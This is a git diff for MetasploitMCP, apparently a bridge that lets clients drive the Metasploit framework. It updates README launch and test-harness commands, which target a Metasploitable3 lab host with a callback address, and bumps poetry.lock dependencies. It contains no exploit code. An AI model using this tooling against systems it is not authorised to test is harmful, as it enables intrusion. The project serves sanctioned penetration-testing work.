@@ -58,12 +58,12 @@ MetasploitMCP supports both msgpack RPC (default) and JSON-RPC protocols. You ca ```bash # Use JSON-RPC (useful for debugging network traffic) export MSF_RPC_PROTOCOL=jsonrpc -poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 +poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 # Use msgpack (default, recommended for production) export MSF_RPC_PROTOCOL=msgpack # or simply omit the variable -poetry run python MetasploitMCP.py --transport http --host 127.0.0.1 --port 8085 +poetry run metasploit-mcp --transport http --host 127.0.0.1 --port 8085 ``` **When to Use JSON-RPC:** @@ -345,13 +345,13 @@ poetry run python test_mcp_connection.py --url http://localhost:8085 ### Enable Debug Logging ```bash -LOG_LEVEL=DEBUG poetry run python MetasploitMCP.py --transport http +LOG_LEVEL=DEBUG poetry run metasploit-mcp --transport http ``` ### Test with Verbose Mode ```bash -poetry run python metasploitable3_test_harness.py \ +poetry run python tests/harness.py \ --target 10.0.2.15 \ --lhost 10.0.2.4 \ --verbose diff --git a/poetry.lock b/poetry.lock index 91c182a..ee18a29 100644 --- a/poetry.lock +++ b/poetry.lock @@ -1,4 +1,4 @@ -# This file is automatically @generated by Poetry 2.3.4 and should not be changed by hand. +# This file is automatically @generated by Poetry 2.1.4 and should not be changed by hand. [[package]] name = "aiofile" @@ -82,14 +82,14 @@ tests-mypy = ["mypy (>=1.11.1) ; platform_python_implementation == \"CPython\" a [[package]] name = "authlib" -version = "1.7.0" +version = "1.7.2" description = "The ultimate Python library in building OAuth and OpenID Connect servers and clients." optional = false python-versions = ">=3.10" groups = ["main"] files = [ - {file = "authlib-1.7.0-py2.py3-none-any.whl", hash = "sha256:e36817afb02f6f0b6bf55f150782499ddd6ddf44b402bb055d3263cc65ac9ae0"}, - {file = "authlib-1.7.0.tar.gz", hash = "sha256:b3e326c9aa9cc3ea95fe7d89fd880722d3608da4d00e8a27e061e64b48d801d5"}, + {file = "authlib-1.7.2-py2.py3-none-any.whl", hash = "sha256:3e1faedc9d87e7d56a164eca3ccb6ace0d61b94abe83e92242f8dc8bba9b4a9f"}, + {file = "authlib-1.7.2.tar.gz", hash = "sha256:2cea25fefcd4e7173bdf1372c0afc265c8034b23a8cd5dcb6a9164b826c64231"}, ] [package.dependencies] @@ -148,43 +148,48 @@ test-tox-coverage = ["coverage (>=5.5)"] [[package]] name = "black" -version = "25.9.0" +version = "26.5.1" description = "The uncompromising code formatter." optional = false -python-versions = ">=3.9" +python-versions = ">=3.10" groups = ["dev"] files = [ - {file = "black-25.9.0-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:ce41ed2614b706fd55fd0b4a6909d06b5bab344ffbfadc6ef34ae50adba3d4f7"}, - {file = "black-25.9.0-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:2ab0ce111ef026790e9b13bd216fa7bc48edd934ffc4cbf78808b235793cbc92"}, - {file = "black-25.9.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:f96b6726d690c96c60ba682955199f8c39abc1ae0c3a494a9c62c0184049a713"}, - {file = "black-25.9.0-cp310-cp310-win_amd64.whl", hash = "sha256:d119957b37cc641596063cd7db2656c5be3752ac17877017b2ffcdb9dfc4d2b1"}, - {file = "black-25.9.0-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:456386fe87bad41b806d53c062e2974615825c7a52159cde7ccaeb0695fa28fa"}, - {file = "black-25.9.0-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:a16b14a44c1af60a210d8da28e108e13e75a284bf21a9afa6b4571f96ab8bb9d"}, - {file = "black-25.9.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:aaf319612536d502fdd0e88ce52d8f1352b2c0a955cc2798f79eeca9d3af0608"}, - {file = "black-25.9.0-cp311-cp311-win_amd64.whl", hash = "sha256:c0372a93e16b3954208417bfe448e09b0de5cc721d521866cd9e0acac3c04a1f"}, - {file = "black-25.9.0-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:1b9dc70c21ef8b43248f1d86aedd2aaf75ae110b958a7909ad8463c4aa0880b0"}, - {file = "black-25.9.0-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:8e46eecf65a095fa62e53245ae2795c90bdecabd53b50c448d0a8bcd0d2e74c4"}, - {file = "black-25.9.0-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9101ee58ddc2442199a25cb648d46ba22cd580b00ca4b44234a324e3ec7a0f7e"}, - {file = "black-25.9.0-cp312-cp312-win_amd64.whl", hash = "sha256:77e7060a00c5ec4b3367c55f39cf9b06e68965a4f2e61cecacd6d0d9b7ec945a"}, - {file = "black-25.9.0-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:0172a012f725b792c358d57fe7b6b6e8e67375dd157f64fa7a3097b3ed3e2175"}, - {file = "black-25.9.0-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:3bec74ee60f8dfef564b573a96b8930f7b6a538e846123d5ad77ba14a8d7a64f"}, - {file = "black-25.9.0-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:b756fc75871cb1bcac5499552d771822fd9db5a2bb8db2a7247936ca48f39831"}, - {file = "black-25.9.0-cp313-cp313-win_amd64.whl", hash = "sha256:846d58e3ce7879ec1ffe816bb9df6d006cd9590515ed5d17db14e17666b2b357"}, - {file = "black-25.9.0-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:ef69351df3c84485a8beb6f7b8f9721e2009e20ef80a8d619e2d1788b7816d47"}, - {file = "black-25.9.0-cp39-cp39-macosx_11_0_arm64.whl", hash = "sha256:e3c1f4cd5e93842774d9ee4ef6cd8d17790e65f44f7cdbaab5f2cf8ccf22a823"}, - {file = "black-25.9.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:154b06d618233fe468236ba1f0e40823d4eb08b26f5e9261526fde34916b9140"}, - {file = "black-25.9.0-cp39-cp39-win_amd64.whl", hash = "sha256:e593466de7b998374ea2585a471ba90553283fb9beefcfa430d84a2651ed5933"}, - {file = "black-25.9.0-py3-none-any.whl", hash = "sha256:474b34c1342cdc157d307b56c4c65bce916480c4a8f6551fdc6bf9b486a7c4ae"}, - {file = "black-25.9.0.tar.gz", hash = "sha256:0474bca9a0dd1b51791fcc507a4e02078a1c63f6d4e4ae5544b9848c7adfb619"}, + {file = "black-26.5.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9942db8888e06943c5dde66ca0037dcff82a2a4ec1ad0ada9e0d2ee9d9823893"}, + {file = "black-26.5.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:89c93167a74d3a75dfaa38a5c7cca015537d5820dd7f17d63267d674a61cae90"}, + {file = "black-26.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:22f2cd76d069cc54c71f10360744ba8983fbb616903b4304a85b734915c8e1b4"}, + {file = "black-26.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:87ed5c6f450580a2f6790bc7cbfb016dfc73bc750249762268a3695361315eef"}, + {file = "black-26.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:58b4bd92cf88aacf83d88479c8f9caee044b1ec55f2451a337354a7ea2590a22"}, + {file = "black-26.5.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:96ae2c733b2aabdd9986e2c5df628ff3473676cd1c5faded1ff496cf6d74083c"}, + {file = "black-26.5.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:0e48b87e03bf109288e55cfceadcfa15ff5470aca2851a851950ed2926f450d7"}, + {file = "black-26.5.1-cp311-cp311-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:5119fa92ae61f786e8c3662fd60aece1d0a2dd5cca5d0c79417a95e7a4272a59"}, + {file = "black-26.5.1-cp311-cp311-win_amd64.whl", hash = "sha256:30d3c14661f2792e9142cce3eeeb1cbc175b3eb5f733be0c8eeb99651e52b0c3"}, + {file = "black-26.5.1-cp311-cp311-win_arm64.whl", hash = "sha256:1ef92b76f7733f282fd096ea406200b5a286c42947412b0eaff3a74e3616cefe"}, + {file = "black-26.5.1-cp312-cp312-macosx_10_13_x86_64.whl", hash = "sha256:4ad6fa01f941920f54f2bbb35f3df7673428a0ef98a0b0840c2eaef3b110efa8"}, + {file = "black-26.5.1-cp312-cp312-macosx_11_0_arm64.whl", hash = "sha256:3915f256e75a2d7cf88d8953d37f780455dc586cc72dee059c528fe77f581217"}, + {file = "black-26.5.1-cp312-cp312-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:9d98d4137277c75dfb898ec8d846c4fd68ba1e9cf77f95e2865c203dc18f4c3d"}, + {file = "black-26.5.1-cp312-cp312-win_amd64.whl", hash = "sha256:a1dca32d9f1784af512a13410ec204c6f7f0aa9797a111c42e1c03449821c264"}, + {file = "black-26.5.1-cp312-cp312-win_arm64.whl", hash = "sha256:1037d5ac7b7b310b2632ad867ec8d0e4c4819dcdb0b820f63135da746a24e418"}, + {file = "black-26.5.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:2b36cf2ddf5566e205f6535f782a62194a184d33e175b64ae8c40b1737522be3"}, + {file = "black-26.5.1-cp313-cp313-macosx_11_0_arm64.whl", hash = "sha256:1f7ea64ebfa01b50f693508fc39f875e264446d3b097088f84f203b9d09618a0"}, + {file = "black-26.5.1-cp313-cp313-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ecb3e624844c798144e9bd986954e0adc81d8911a1f30f375e1252fe26e8c294"}, + {file = "black-26.5.1-cp313-cp313-win_amd64.whl", hash = "sha256:e1a26503279b6b310669fb0b219c39e4820b77e8189fe80f522bb511f247db0a"}, + {file = "black-26.5.1-cp313-cp313-win_arm64.whl", hash = "sha256:5c34b25da232ead53a6f335b76dbea124f4d152ad568b9080d6f944bc2b34b52"}, + {file = "black-26.5.1-cp314-cp314-macosx_10_15_x86_64.whl", hash = "sha256:e88976690a64b0af98312ca958415849cb42423423c5f2ee74af4b49a97a2168"}, + {file = "black-26.5.1-cp314-cp314-macosx_11_0_arm64.whl", hash = "sha256:32d5ea7f6c8bdfa6e648326ebca1f02b0764e2a029edc6f8dce2627e19d468c3"}, + {file = "black-26.5.1-cp314-cp314-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:ea8d16dc41655aa113cd64665e7219446cd7e4ff2248d7178eaa905190c86b18"}, + {file = "black-26.5.1-cp314-cp314-win_amd64.whl", hash = "sha256:577f21094ea469ef92ec1adaf2c9441a226d2144d01a5be2fa823cecf6543e50"}, + {file = "black-26.5.1-cp314-cp314-win_arm64.whl", hash = "sha256:ed1a20af114c301a0269bf01163d51dbef72737fd65f850001e7cbe7f3c7abae"}, + {file = "black-26.5.1-py3-none-any.whl", hash = "sha256:4ed7f7da04046d2e488437170797d3b4a4ad83906683bcb7dfc68b673bbce5e2"}, + {file = "black-26.5.1.tar.gz", hash = "sha256:dd321f668053961824bcc1be1cc1df748b2d7e4fa28086b08331e577b0100a73"}, ] [package.dependencies] click = ">=8.0.0" mypy-extensions = ">=0.4.3" packaging = ">=22.0" -pathspec = ">=0.9.0" +pathspec = ">=1.0.0" platformdirs = ">=2" -pytokens = ">=0.1.10" +pytokens = ">=0.4.0,<0.5.0" tomli = {version = ">=1.1.0", markers = "python_version < \"3.11\""} typing-extensions = {version = ">=4.0.1", markers = "python_version < \"3.11\""} @@ -192,7 +197,7 @@ typing-extensions = {version = ">=4.0.1", markers = "python_version < \"3.11\""} colorama = ["colorama (>=0.4.3)"] d = ["aiohttp (>=3.10)"] jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"] -uvloop = ["uvloop (>=0.15.2)"] +uvloop = ["uvloop (>=0.15.2) ; sys_platform != \"win32\"", "winloop (>=0.5.0) ; sys_platform == \"win32\""] [[package]] name = "cachetools" @@ -602,65 +607,62 @@ toml = ["tomli ; python_full_version <= \"3.11.0a6\""] [[package]] name = "cryptography" -version = "47.0.0" +version = "49.0.0" description = "cryptography is a package which provides cryptographic recipes and primitives to Python developers." optional = false -python-versions = "!=3.9.0,!=3.9.1,>=3.8" +python-versions = "!=3.9.0,!=3.9.1,>=3.9" groups = ["main", "dev"] files = [ - {file = "cryptography-47.0.0-cp311-abi3-macosx_10_9_universal2.whl", hash = "sha256:160ad728f128972d362e714054f6ba0067cab7fb350c5202a9ae8ae4ce3ef1a0"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:b9a8943e359b7615db1a3ba587994618e094ff3d6fa5a390c73d079ce18b3973"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:f5c15764f261394b22aef6b00252f5195f46f2ca300bec57149474e2538b31f8"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:9c59ab0e0fa3a180a5a9c59f3a5abe3ef90d474bc56d7fadfbe80359491b615b"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:34b4358b925a5ea3e14384ca781a2c0ef7ac219b57bb9eacc4457078e2b19f92"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:0024b87d47ae2399165a6bfb20d24888881eeab83ae2566d62467c5ff0030ce7"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:1e47422b5557bb82d3fff997e8d92cff4e28b9789576984f08c248d2b3535d93"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:6f29f36582e6151d9686235e586dd35bb67491f024767d10b842e520dc6a07ac"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:a9b761f012a943b7de0e828843c5688d0de94a0578d44d6c85a1bae32f87791f"}, - {file = "cryptography-47.0.0-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:4e1de79e047e25d6e9f8cea71c86b4a53aced64134f0f003bbcbf3655fd172c8"}, - {file = "cryptography-47.0.0-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:ef6b3634087f18d2155b1e8ce264e5345a753da2c5fa9815e7d41315c90f8318"}, - {file = "cryptography-47.0.0-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:11dbb9f50a0f1bb9757b3d8c27c1101780efb8f0bdecfb12439c22a74d64c001"}, - {file = "cryptography-47.0.0-cp311-abi3-win32.whl", hash = "sha256:7fda2f02c9015db3f42bb8a22324a454516ed10a8c29ca6ece6cdbb5efe2a203"}, - {file = "cryptography-47.0.0-cp311-abi3-win_amd64.whl", hash = "sha256:f5c3296dab66202f1b18a91fa266be93d6aa0c2806ea3d67762c69f60adc71aa"}, - {file = "cryptography-47.0.0-cp314-cp314t-macosx_10_9_universal2.whl", hash = "sha256:be12cb6a204f77ed968bcefe68086eb061695b540a3dd05edac507a3111b25f0"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:2ebd84adf0728c039a3be2700289378e1c164afc6748df1a5ed456767bef9ba7"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7f68d6fbc7fbbcfb0939fea72c3b96a9f9a6edfc0e1b1d29778a2066030418b1"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:6651d32eff255423503aa276739da98c30f26c40cbeffcc6048e0d54ef704c0c"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:3fb8fa48075fad7193f2e5496135c6a76ac4b2aa5a38433df0a539296b377829"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:11438c7518132d95f354fa01a4aa2f806d172a061a7bed18cf18cbdacdb204d7"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:8c1a736bbb3288005796c3f7ccb9453360d7fed483b13b9f468aea5171432923"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:f1557695e5c2b86e204f6ce9470497848634100787935ab7adc5397c54abd7ab"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:f9a034b642b960767fb343766ae5ba6ad653f2e890ddd82955aef288ffea8736"}, - {file = "cryptography-47.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:b1c76fca783aa7698eb21eb14f9c4aa09452248ee54a627d125025a43f83e7a7"}, - {file = "cryptography-47.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:4f7722c97826770bab8ae92959a2e7b20a5e9e9bf4deae68fd86c3ca457bab52"}, - {file = "cryptography-47.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:09f6d7bf6724f8db8b32f11eccf23efc8e759924bc5603800335cf8859a3ddbd"}, - {file = "cryptography-47.0.0-cp314-cp314t-win32.whl", hash = "sha256:6eebcaf0df1d21ce1f90605c9b432dd2c4f4ab665ac29a40d5e3fc68f51b5e63"}, - {file = "cryptography-47.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:51c9313e90bd1690ec5a75ed047c27c0b8e6c570029712943d6116ef9a90620b"}, - {file = "cryptography-47.0.0-cp38-abi3-macosx_10_9_universal2.whl", hash = "sha256:14432c8a9bcb37009784f9594a62fae211a2ae9543e96c92b2a8e4c3cd5cd0c4"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:07efe86201817e7d3c18781ca9770bc0db04e1e48c994be384e4602bc38f8f27"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:2b45761c6ec22b7c726d6a829558777e32d0f1c8be7c3f3480f9c912d5ee8a10"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:edd4da498015da5b9f26d38d3bfc2e90257bfa9cbed1f6767c282a0025ae649b"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9af828c0d5a65c70ec729cd7495a4bf1a67ecb66417b8f02ff125ab8a6326a74"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:256d07c78a04d6b276f5df935a9923275f53bd1522f214447fdf365494e2d515"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:5d0e362ff51041b0c0d219cc7d6924d7b8996f57ce5712bdcef71eb3c65a59cc"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:1581aef4219f7ca2849d0250edaa3866212fb74bf5667284f46aa92f9e65c1ca"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:a49a3eb5341b9503fa3000a9a0db033161db90d47285291f53c2a9d2cd1b7f76"}, - {file = "cryptography-47.0.0-cp38-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:2207a498b03275d0051589e326b79d4cf59985c99031b05bb292ac52631c37fe"}, - {file = "cryptography-47.0.0-cp38-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:7a02675e2fabd0c0fc04c868b8781863cbf1967691543c22f5470500ff840b31"}, - {file = "cryptography-47.0.0-cp38-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:80887c5cbd1774683cb126f0ab4184567f080071d5acf62205acb354b4b753b7"}, - {file = "cryptography-47.0.0-cp38-abi3-win32.whl", hash = "sha256:ed67ea4e0cfb5faa5bc7ecb6e2b8838f3807a03758eec239d6c21c8769355310"}, - {file = "cryptography-47.0.0-cp38-abi3-win_amd64.whl", hash = "sha256:835d2d7f47cdc53b3224e90810fb1d36ca94ea29cc1801fb4c1bc43876735769"}, - {file = "cryptography-47.0.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:7f1207974a904e005f762869996cf620e9bf79ecb4622f148550bb48e0eb35a7"}, - {file = "cryptography-47.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:1a405c08857258c11016777e11c02bacbe7ef596faf259305d282272a3a05cbe"}, - {file = "cryptography-47.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:20fdbe3e38fb67c385d233c89371fa27f9909f6ebca1cecc20c13518dae65475"}, - {file = "cryptography-47.0.0-pp311-pypy311_pp73-manylinux_2_34_aarch64.whl", hash = "sha256:f7db373287273d8af1414cf95dc4118b13ffdc62be521997b0f2b270771fef50"}, - {file = "cryptography-47.0.0-pp311-pypy311_pp73-manylinux_2_34_x86_64.whl", hash = "sha256:9fe6b7c64926c765f9dff301f9c1b867febcda5768868ca084e18589113732ab"}, - {file = "cryptography-47.0.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:cffbba3392df0fa8629bb7f43454ee2925059ee158e23c54620b9063912b86c8"}, - {file = "cryptography-47.0.0.tar.gz", hash = "sha256:9f8e55fe4e63613a5e1cc5819030f27b97742d720203a087802ce4ce9ceb52bb"}, + {file = "cryptography-49.0.0-cp311-abi3-macosx_11_0_arm64.whl", hash = "sha256:966fe0e9c67490071f14c0d2b1cb2dfb3023c5ce39457343931415f08382f2db"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:36d1709f992593689b45bda411498d62c6e365f2ca00b84657d4dadd24de16db"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:0e959b578856a3924bc0cbb710fc12c387b9412a951389f3ca61704a9e25f325"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:53ecee2e23f7169b6117e99fc8a944e5e50f79e69758a83b52a00cb98ab2b2d2"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:2eda353d8a27bcbcaa4cbed18994a74ab4d19a2ca897db188ea269ab9b71419b"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:2afe9051da7ae7bd5905da5a949280c7d2bb75682e188f650a9d0f2756b834c6"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:0b82e28ee398a386f0807bba7884d30f25218855690f45115831bcce5d90822c"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:ccac2bfebc306b862133e3bb71f3f6ee8bb525240089b2d952e4144b3a6d5da7"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:d0527ce944105f257f605a827d6ebead966c752038b6e8656abb9c5edee6fc68"}, + {file = "cryptography-49.0.0-cp311-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:cbc77da8c523d5abd028635ba850a6966fcee2c82e2bf65a41d1d8afe0f98be9"}, + {file = "cryptography-49.0.0-cp311-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:b87e65d263b3e5d3bb92a57e2a6638e2f31110fa7aa890c7b2dbba42248d0a3f"}, + {file = "cryptography-49.0.0-cp311-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:66ec79c3904820572d7e987abdf304281f141d37ad9a489b8e97066e7b9b6459"}, + {file = "cryptography-49.0.0-cp311-abi3-win_amd64.whl", hash = "sha256:e5dfc1e64de5677cec922ffa8da89c546d0415bf6efdf081842e5d44c84e1f0e"}, + {file = "cryptography-49.0.0-cp314-cp314t-macosx_11_0_arm64.whl", hash = "sha256:73a205dce83953d131a4aa1e0fd917a2fd1c5b1eef251e9d7152efefcbf5caf7"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:196ecd6a36e4e9aa10270393bb98d8df88fccee0bf1e5128b91ae4eb4375896d"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:7abcee80084cda3f7691f3eb1ce480d8df49cec637b429aa35986c1de71738aa"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_28_aarch64.whl", hash = "sha256:4ae387c9cb68ea569ca17e490d66d8142b81c3cc814bf179974b7d146e490bbb"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_28_ppc64le.whl", hash = "sha256:f37d847238971164fdbc68ade6f6574aecc9c0af714190e2083429ff68f4ce9d"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_28_x86_64.whl", hash = "sha256:c2bc30226390d60ea19d9f82b19db005fe0452154a23c1c410c12ea801e43561"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_31_armv7l.whl", hash = "sha256:07cab27cc7b7e0fd28e5e26bb9eeedde5c135c868b46de4a27845abe94af6122"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_34_aarch64.whl", hash = "sha256:b20133d204d2bb56ba047642199603876c872026ca53e79c35b83772ab2cc505"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_34_ppc64le.whl", hash = "sha256:b970c6da94d5bb18629db453d14f2a1300f6bf59b61e9b82377931ef95504866"}, + {file = "cryptography-49.0.0-cp314-cp314t-manylinux_2_34_x86_64.whl", hash = "sha256:d8ecde755e2e91bf773fc94e8c9d730cd7f2007004cb492263a794ec3899a1c8"}, + {file = "cryptography-49.0.0-cp314-cp314t-musllinux_1_2_aarch64.whl", hash = "sha256:e3fb64c420688e5319ae25113a354015abbd8dffbfbc41781a1ea66fc7622ac3"}, + {file = "cryptography-49.0.0-cp314-cp314t-musllinux_1_2_x86_64.whl", hash = "sha256:32703d93296f5c1f4b53349ad3a250c2cae0fdecd3a3dd5d47e616d8d616af27"}, + {file = "cryptography-49.0.0-cp314-cp314t-win_amd64.whl", hash = "sha256:33cd0565932807baddb67b96dbee92f2c374b5c89dee09fd74079aeb8c8dba61"}, + {file = "cryptography-49.0.0-cp39-abi3-macosx_11_0_arm64.whl", hash = "sha256:ec5e529fb80935c94fe7b729f9972b50e351a0e6b50aa294fd5cabb109fcc29a"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:f78ff2c9ed8dc2d036b0f4d640e22522213d047c1b14e61205a7e55c80a494d4"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:35b151772baff2c74cba7fa290ceaff4c3b11c0c881eb93eb5dbc05a7cfbba18"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_28_aarch64.whl", hash = "sha256:0f21641cf4b30fca7aee061ced0ec7ad7b073518088b7c9969a297c0ae796c69"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_28_ppc64le.whl", hash = "sha256:9e82dcc8e56052715fb18b2429e3bca4823b1629136a2084fc45a9a5cecb9b64"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_28_x86_64.whl", hash = "sha256:6f2debedf9ca60cf1d5bd466475638af5130f89965605cd818484d19987d3a21"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_31_armv7l.whl", hash = "sha256:8c25ceb16df5b9435f3f6a9829204985b0e0cbee3b48aacd432c7d2c850b44d9"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_34_aarch64.whl", hash = "sha256:28d8b15e6275f12c8a207dc309dfa957903c927d08d0cc937ee3f63f200693cc"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_34_ppc64le.whl", hash = "sha256:6fc361c34fb6aac015ce19435876635e5c6d21db31998b0920f675f131e043b8"}, + {file = "cryptography-49.0.0-cp39-abi3-manylinux_2_34_x86_64.whl", hash = "sha256:2400ef9c9e2299a25614eb1dea3db54a69b1349efd043bfac9c67630d136df36"}, + {file = "cryptography-49.0.0-cp39-abi3-musllinux_1_2_aarch64.whl", hash = "sha256:67e1d20ad9ef3a563c59ef22e7a8a0b8210bd26604369ea4a30a7c66aefe504e"}, + {file = "cryptography-49.0.0-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:42b0684e0e40cf26122427802486f6d93aea593612603a94fbf260c7eb1e9c1b"}, + {file = "cryptography-49.0.0-cp39-abi3-win_amd64.whl", hash = "sha256:026ac7423e6fa66872d3bf889be5974507da3944f866f704fa200eadacd00001"}, + {file = "cryptography-49.0.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:fc1e275c2f1d97b1a6450b8b0ea3ebfa6e087a611c2b26cb2404d48588abab7b"}, + {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:c83782480a4a9da4d0feb51950131ba32e12e70813848b3343f6e18c28a66838"}, + {file = "cryptography-49.0.0-pp311-pypy311_pp73-manylinux_2_28_x86_64.whl", hash = 